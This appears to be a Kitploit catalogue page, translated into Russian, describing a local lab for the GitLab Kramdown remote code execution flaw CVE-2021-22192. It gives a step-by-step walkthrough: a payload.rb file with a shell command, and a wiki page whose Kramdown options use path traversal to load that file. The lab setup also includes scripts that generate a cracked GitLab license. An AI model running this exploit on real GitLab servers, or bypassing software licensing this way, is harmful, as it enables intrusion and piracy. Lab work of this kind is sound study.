Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2021-22192 — CVE-2021-22192 靶场: 未授权用户 RCE 漏洞 | Kitploit
Инструменты/GitHubGitHub/exp-docs/cve-2021-22192
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubexp-docs/cve-2021-22192

CVE-2021-22192

CVE-2021-22192 靶场: 未授权用户 RCE 漏洞

Репозиторий
3843 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-22192

CVE-2021-22192 полигон: RCE-уязвимость для неавторизованных пользователей


0x10 Среда полигона

0x20 Структура каталогов

root@kitploit:~
CVE-2021-22192
├── README.md ............... [описание этого README]
├── imgs .................... [изображения для README]
├── gitlab .................. [каталог монтирования контейнера Gitlab]
│   ├── Dockerfile .......... [Docker-файл сборки Gitlab]
│   ├── config .............. [каталог монтирования конфигурации Gitlab]
│   ├── data ................ [каталог монтирования данных Gitlab]
│   ├── logs ................ [каталог монтирования логов Gitlab]
│   ├── keys ................ [каталог хранения взломанной лицензии Gitlab]
│   └── nginx ............... [каталог конфигурации встроенного nginx Gitlab (резервная копия, не изменять)]
├── runner .................. [каталог монтирования контейнера Gitlab]
├── license ................. [каталог сборки контейнера лицензии]
│   ├── Dockerfile .......... [Docker-файл сборки лицензии]
│   └── license.rb .......... [Ruby-скрипт генерации взломанной лицензии]
├── test .................... [каталог отладки Kramdown]
├── docker-compose.yml ...... [конфигурация сборки Docker]
├── keygen.ps1 .............. [Windows: одноразовая генерация взломанной лицензии]
├── keygen.sh ............... [Linux: одноразовая генерация взломанной лицензии]
├── run.ps1 ................. [Windows: одноразовый запуск полигона Gitlab]
├── run.sh .................. [Linux: одноразовый запуск полигона Gitlab]
├── register.ps1 ............ [Windows: одноразовая регистрация Runner]
├── register.sh ............. [Linux: одноразовая регистрация Runner]
├── stop.ps1 ................ [Windows: одноразовая остановка полигона Gitlab]
└── stop.sh ................. [Linux: одноразовая остановка полигона Gitlab]

0x30 Развертывание полигона

0x31 Сборка

  • На хосте предустановлены docker и docker-compose
  • Загрузите этот репозиторий: git clone https://github.com/lyy289065406/CVE-2021-22192
  • Сгенерируйте пару ключей для взлома: ./keygen.sh или ./keygen.ps1
  • Соберите и запустите Gitlab (убедитесь, что порт 80 свободен): ./run.sh или ./run.ps1
  • Примерно через 5 минут можно войти в Gitlab через браузер: http://127.0.0.1 (при первом входе нужно сбросить пароль учетной записи администратора root)

0x32 Взлом

При генерации пары ключей для взлома публичный ключ уже был записан в контейнер Gitlab, осталось загрузить закрытый ключ через веб-интерфейс для завершения взлома:

  • Пара ключей генерируется в каталог ./gitlab/keys/, скопируйте содержимое .gitlab-license (закрытый ключ)
  • Откройте страницу http://127.0.0.1/admin/license/new от имени пользователя root
  • Выберите Enter license key, вставьте закрытый ключ и нажмите Upload license для завершения взлома

0x33 Настройка Runner

  • Откройте страницу http://127.0.0.1/admin/runners от имени пользователя root
  • Найдите registration token и скопируйте его
  • Зарегистрируйте Runner: ./register.sh $TOKEN или ./register.ps1 $TOKEN

После этого все репозитории смогут использовать этот Runner для выполнения CI-скриптов (Pipeline Jobs)

0x34 Доступ к Gitlab Pages

Предположим, ваше имя пользователя Gitlab ${username}, имя репозитория ${repository_name}. Когда репозиторий успешно собран с помощью jekyll (SSG), достаточно перейти по следующему URL:

http://127.0.0.1:8000/${username}/${repository_name}/public/

0x40 Проверка полигона

Подробное описание процесса см. в hackerone.

  1. От имени любого пользователя нажмите + -> New snippet в верхней части страницы
  2. Title можно заполнить произвольно, щелкните поле ввода Description (optional), затем нажмите Attach a file и загрузите файл с именем payload.rb следующего содержания:
root@kitploit:~
puts "hello from ruby"
`echo exp was here > /tmp/exp`

При этом в поле Description (optional) отобразится ссылка на файл, например: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb), а файл будет загружен в контейнер docker_gitlab по пути /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (Кнопку Create snippet нажимать не обязательно, достаточно запомнить хеш этого пути.)

Примечание: не создавайте сниппет через боковую панель репозитория (Snippet -> New snippet), иначе путь к файлу станет [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/HEAD/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb), а фактический путь в контейнере docker_gitlab станет /var/opt/gitlab/gitlab-rails/uploads/@hash/случайная_строка/payload.rb — из-за случайной строки использовать его будет затруднительно.

  1. Нажмите + New Project в верхней части страницы, назовите произвольно (например, poc, можно не создавать, а использовать существующий репозиторий)
  2. Нажмите Wiki слева, затем Create your first page
  3. Title и Content заполните произвольно, нажмите Create page
  4. Gitlab сгенерирует wiki-репозиторий для текущего репозитория poc с именем poc.wiki (нажмите Clone repository в правом верхнем углу, чтобы найти команду клонирования: git clone http://127.0.0.1/root/poc.wiki.git).
  5. В локальном терминале выполните команду git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki для загрузки wiki-репозитория на локальный компьютер
  6. В корневом каталоге wiki-репозитория добавьте файл с именем следующего содержания (обратите внимание, что хеш в пути нужно заменить на полученный ранее):
root@kitploit:~
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
  1. Выполните команду для отправки этого файла в Gitlab: git add -A . && git commit -m "page1.rmd" && git push
  2. Вернитесь на страницу Gitlab Wiki, обновите её — в правой боковой панели отобразится созданная локально страница page1, нажмите на неё
  3. После загрузки содержимого страницы войдите в контейнер docker_gitlab — вы обнаружите, что файл /tmp/exp уже создан

После нажатия на страницу page1.rmd в логах gitlab/logs/gitlab-rails/exceptions_json.log можно увидеть сообщение об ошибке, однако это не мешает выполнению команды:

root@kitploit:~
{
    "severity": "ERROR",
    "time": "2021-04-26T10:36:07.978Z",
    "correlation_id": "A24bByUP9L5",
    "tags.correlation_id": "A24bByUP9L5",
    "tags.locale": "en",
    "user.id": 1,
    "user.email": "[email protected]",
    "user.username": "root",
    "extra.project_id": 1,
    "extra.file_name": "page1.rmd",
    "exception.class": "NameError",
    "exception.message": "wrong constant name ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb",
    "exception.backtrace": [
        "lib/gitlab/other_markup.rb:11:in `render'",
        "app/helpers/markup_helper.rb:274:in `other_markup_unsafe'",
        "app/helpers/markup_helper.rb:153:in `markup_unsafe'",
        "app/helpers/markup_helper.rb:138:in `render_wiki_content'",
        "app/views/shared/wikis/show.html.haml:25",
        "app/controllers/application_controller.rb:134:in `render'",
        "app/controllers/concerns/wiki_actions.rb:68:in `show'",
        "ee/lib/gitlab/ip_address_state.rb:10:in `with'",
        "ee/app/controllers/ee/application_controller.rb:44:in `set_current_ip_address'",
        "app/controllers/application_controller.rb:491:in `set_current_admin'",
        "lib/gitlab/session.rb:11:in `with_session'",
        "app/controllers/application_controller.rb:482:in `set_session_storage'",
        "app/controllers/application_controller.rb:476:in `set_locale'",
        "lib/gitlab/error_tracking.rb:50:in `with_context'",
        "app/controllers/application_controller.rb:541:in `sentry_context'",
        "app/controllers/application_controller.rb:469:in `block in set_current_context'",
        "lib/gitlab/application_context.rb:52:in `block in use'",
        "lib/gitlab/application_context.rb:52:in `use'",
        "lib/gitlab/application_context.rb:20:in `with_context'",
        "app/controllers/application_controller.rb:462:in `set_current_context'",
        "ee/lib/gitlab/jira/middleware.rb:19:in `call'"
    ]
}
Скачать инструмент
page1.rmd